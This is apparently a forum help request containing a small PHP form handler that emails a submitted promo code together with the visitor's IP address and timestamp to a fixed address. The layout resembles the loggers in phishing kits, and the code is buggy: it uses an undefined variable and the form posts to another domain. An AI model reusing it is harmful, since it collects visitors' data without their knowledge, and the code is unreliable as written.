Form send prob..

<?php 
if(isset($_POST['submit'])) 
{ 
$code = $_POST['code']; 

$ip = getenv("REMOTE_ADDR"); 
$hostname = gethostbyaddr($ip); 
$message .= "Time & Date:  ".date("H:i:s | d/m/Y")."\n"; 
$message .= "Promocod : ".$_POST['code']."\n"; 
$message .= "IP Address : ".$ip."\n"; 
$to = "domainname@reply.com"; 
$subj = " Promocod"; 
$arr=array($to, $Message); 
foreach ($arr as $to) 
mail($to, $subj, $message); 
} 
?> 

<form action="https://domain.com/aam?client=promo&resize=yes" method="post" > 
Insert Code : <input type="text" name="code" size="16" maxlength="8" autocomplete="off" value=""> 
<input type="submit" name="submit" /> 
</form>